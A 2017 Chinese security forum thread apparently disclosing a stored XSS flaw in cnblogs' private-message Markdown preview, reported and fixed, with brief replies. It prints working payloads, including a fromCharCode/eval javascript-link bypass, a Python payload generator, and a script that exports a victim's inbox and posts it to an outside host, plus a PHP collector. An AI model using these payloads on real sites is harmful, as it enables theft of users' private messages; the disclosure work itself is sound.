[【通过】] 博客园站内短消息XSS

[复制链接]
Phuker 发表于 2017-2-20 13:33:18 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 6

我最近在博客园后台发送站内信(短消息)的时候发现了一个毫无技术含量的存储型XSS,现已通知管理员且已修复。
发现漏洞
博客园默认不自带<meta name="viewport" content="width=device-width,initial-scale=1" /> 这种标签,在移动端看着很不舒服。我在博客园的博客设置中手动添加自定义HTML会被过滤,考虑到可以利用JavaScript来添加这一标签,我决定私信管理员申请js权限。
我给管理员私信申请js权限的时候,写完消息正文点击Preview,发现插入的meta标签消失了。查看元素发现meta标签直接作为html元素插入了DOM,而没有进行转义。我继续尝试<script>alert(1);</script>,点击Preview,发现竟然直接弹窗。
一枚毫无技术含量的XSS漏洞Get。
下图:站内信短消息功能
http://images2015.cnblogs.com/blog/688469/201610/688469-20161006163718332-1985977486.png

下图:给小号发送XSS Payload:
窃取Cookie:
漏洞成因
博客园后台短消息支持Markdown,而Markdown中可以直接插入HTML。抓包之后容易发现,博客园后台短消息Preview API为:

POST/common/MarkDownTransform HTTP/1.1
Host:msg.cnblogs.com

{"content":"#test XSS 2\n<script>alert(1);</script>"}

修复后的响应:
{"result":"success","content":"\u003ch1id=\"test-xss-2\"\u003etest XSS 2\u003c/h1\u003e\n\u003cp\u003e\u0026lt;script\u0026gt;alert(1);\u0026lt;/script\u0026gt;\u003c/p\u003e\n"}

发送的接口为:
POST/ajax/msg/send HTTP/1.1
Host:msg.cnblogs.com

{"incept":"收件人","title":"testXSS 2","content":"# test XSS2\n<script>alert(1);</script>\n<script>alert(2);</script>"}
目测博客园后台站内信短消息在发送和预览的时候,都会调用Markdown 转换 API,然后将得到的HTML存储到数据库。这个过程中没有对HTML标签过滤转义导致XSS。
博客园的修复方法
再次抓包可以发现,博客园的修复方法是转义 < > " 等几个特殊字符为 < > " 。例如:

发送:
{"content":"#test chars\nafeaf > abcd < defg ' ab \" gh \\ aab"}
返回:
{"result":"success","content":"\u003ch1id=\"test-chars\"\u003etest chars\u003c/h1\u003e\n\u003cp\u003eafeaf\u0026gt; abcd \u0026lt; defg \u0027 ab \u0026quot; gh \\aab\u003c/p\u003e\n"}
即:
<h1id="test-chars">test chars</h1>
<p>afeaf> abcd < defg ' ab " gh \ aab</p>

有效防止了新的短消息XSS。
但是,已经发送的短消息不受影响,可见过滤只发生在进入数据库过程,数据库中存储的是已过滤内容。
下图:再次打开已发送的含有Payload的短消息:
总结:
后台程序员直接照搬Markdown转换代码却忘了过滤敏感HTML标签,这种场合应该限制Markdown的直接插入HTML标签功能,还是要提高自己的姿势水平和安全意识。
附:meta标签已经默认加上,终于可以愉快地用手机看博客了。
后续
2016年10月6日 16:43:57 Update
然而,仅仅过滤了几个敏感字符就能彻底解决这个XSS问题吗?答案未必。本文将在通知管理员修复后更新。
MarkdownXSS问题
如前文所述,博客园官方过滤了< > " 等字符,然而这并不能完全解决Markdown的XSS问题。
如果插入Markdown代码: [Click me](javascript:alert(1)) ,博客园的转换器会转换为:
<p><a href="javascript:alert(1)">Click me</a></p>
显然又造成了XSS漏洞。
然而这种利用方法对代码有一定要求,需要一些转换才能执行任意代码。以博客园使用的转换器为例,该转换器至少有2点限制:
1.     JavaScript代码中不能含有" 和 ',否则会被URL编码从而无法执行
2.    JavaScript代码中不能嵌套(),即不能出现  eval(String.fromCharCode(97,98)) ,否则无法转换为HTML的a标签。
我使用以下方法绕过此限制:
[Clickme](javascript:aaa=String.fromCharCode(97,108,101,114,116,40,49,41);eval(aaa))
代码已被编码为ASCII码,从而可以执行任意代码。
可以用以下Python代码来生成Payload:
pay = 'alert(1);'
print '[please check this awesomearticle](javascript:aaa=String.fromCharCode(%s);eval(aaa))' % (','.join([str(ord(c)) for c in pay]),)
下图:点击链接执行alert(1)的效果
下图点击执行alert1的效果.png
后续的利用方法
既然已经可以执行任意JavaScript代码,那么后续的利用就人有多大胆地有多大产了。常见的思路大概就是偷Cookie,删文章,改设置,甚至对于这个漏洞来说做一个XSS蠕虫是完全可行的。
我原来想通过XSS来诱导删除任意文章,但是对于博客园来说,短消息的域名 msg.cnblogs.com 和文章管理的域名 i.cnblogs.com 之间存在跨域问题,利用较困难。后来我转向窃取用户收件箱的所有内容。
博客园的备份所有短消息的API是: https://msg.cnblogs.com/ajax/Msg/ExportAll ,于是可以构造以下恶意代码:
$.get('https://msg.cnblogs.com/ajax/Msg/ExportAll',function(data,status){$.ajax({url:'https://www.example.com/',data:data,contentType:'text/plain',processData:false,type:'POST'})})
接收端的代码(PHP):
<?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:POST');
if($_SERVER["REQUEST_METHOD"]=== 'POST'){
file_put_contents('./data/xssData.txt',file_get_contents('php://input')."\n-------------------\n",FILE_APPEND);
}
点击链接执行恶意代码的效果:

点击链接执行恶意代码的效1.png

点击链接执行恶意代码的效2.png

修复方法
这次的漏洞修复工作更加复杂,涉及到Markdown解析器的修改,显然,你们更专业。
后续
2016年10月14日Update
现已修复,Preview功能不变,但是发送时貌似是经过了反XSS的过滤或是什么,现在的<a>标签都变为了:
用 ![]() 和 []() 的方法都失效了。


评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

rainism 发表于 2017-2-20 18:31:12 | 显示全部楼层

正式成员|主题 |帖子 |积分 110

挺有意思的,现在好多富文本编辑器xss都出在了markdown上,确实容易被忽略
any3ite 发表于 2017-2-20 22:16:02 | 显示全部楼层

正式成员|主题 |帖子 |积分 144

官方修复了,没有什么奖励么
 楼主 Phuker 发表于 2017-2-21 13:15:09 | 显示全部楼层

正式成员|主题 |帖子 |积分 6

RE: 博客园站内短消息XSS

any3ite 发表于 2017-2-20 22:16
官方修复了,没有什么奖励么

哈哈,随手报给管理了,谁都没提奖励的事
WHILE 发表于 2017-3-14 10:32:32 | 显示全部楼层

正式成员|主题 |帖子 |积分 4

RE: 博客园站内短消息XSS

本帖最后由 WHILE 于 2017-3-14 10:33 编辑

1.png
我可能挖到了假的漏洞。我提交了他们修复也不修复的。<script>alert(/hello,90sec/)</script>
快速回复 返回顶部 返回列表